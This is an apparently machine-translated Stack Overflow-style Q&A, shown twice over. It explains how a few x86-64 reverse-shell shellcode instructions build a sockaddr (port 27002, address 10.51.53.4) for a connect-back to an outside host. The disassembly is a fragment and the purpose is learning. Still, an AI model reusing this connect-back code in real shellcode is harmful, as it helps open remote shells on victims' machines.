x86 64 反转 shell shell 代码
x86 64 Reverse shell shellcode
我正在寻找来自 this link 的反向 shell shell 代码。我无法遵循 shell 代码中以下说明的原因:
4000a3: 4d 31 d2 xor r10,r10
4000a6: 41 52 push r10
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
4000ba: 04
4000bb: 48 89 e6 mov rsi,rsp
我搜索了其他 SO 问题,发现 BYTE/WORD/DWORD PTR 将用于分配 byte/word/dword。由于这个 x86 64,我假设这里的 WORD 表示 2 个字节,DWORD 表示 4 个字节(如果我错了请纠正我)。
作者在堆栈上压零。然后他有3条mov指令。
假设 RSP 最初指向:
x00 x00 x00 x00 x00 x00 x00 x00
1) 下面是3条mov指令的效果(假设是little endian)?
x04 x35 x33 x0a x7a x69 x00 x02
2) 如果是,那么作者通过它实现了什么,因为下一个 mov 指令不会覆盖 rsp 指向的内容吗?
谢谢
1) 是
2) 作者正在为套接字连接系统调用保存 sockaddr
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
在 x86-64 中,参数是寄存器 rdi、rsi 和 rdx。因此,他正在将指针 addr 指针移动到 rsi 寄存器。
mov BYTE PTR [rsp],0x2 ; Family Address (PF_INET)
mov WORD PTR [rsp+0x2],0x697a ; port = 27002
mov DWORD PTR [rsp+0x4],0x435330a ; addr = 10.51.53.4 (0a333504)
我正在寻找来自 this link 的反向 shell shell 代码。我无法遵循 shell 代码中以下说明的原因:
4000a3: 4d 31 d2 xor r10,r10
4000a6: 41 52 push r10
4000a8: c6 04 24 02 mov BYTE PTR [rsp],0x2
4000ac: 66 c7 44 24 02 7a 69 mov WORD PTR [rsp+0x2],0x697a
4000b3: c7 44 24 04 0a 33 35 mov DWORD PTR [rsp+0x4],0x435330a
4000ba: 04
4000bb: 48 89 e6 mov rsi,rsp
我搜索了其他 SO 问题,发现 BYTE/WORD/DWORD PTR 将用于分配 byte/word/dword。由于这个 x86 64,我假设这里的 WORD 表示 2 个字节,DWORD 表示 4 个字节(如果我错了请纠正我)。 作者在堆栈上压零。然后他有3条mov指令。 假设 RSP 最初指向:
x00 x00 x00 x00 x00 x00 x00 x00
1) 下面是3条mov指令的效果(假设是little endian)?
x04 x35 x33 x0a x7a x69 x00 x02
2) 如果是,那么作者通过它实现了什么,因为下一个 mov 指令不会覆盖 rsp 指向的内容吗?
谢谢
1) 是
2) 作者正在为套接字连接系统调用保存 sockaddr
int connect(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
在 x86-64 中,参数是寄存器 rdi、rsi 和 rdx。因此,他正在将指针 addr 指针移动到 rsi 寄存器。
mov BYTE PTR [rsp],0x2 ; Family Address (PF_INET)
mov WORD PTR [rsp+0x2],0x697a ; port = 27002
mov DWORD PTR [rsp+0x4],0x435330a ; addr = 10.51.53.4 (0a333504)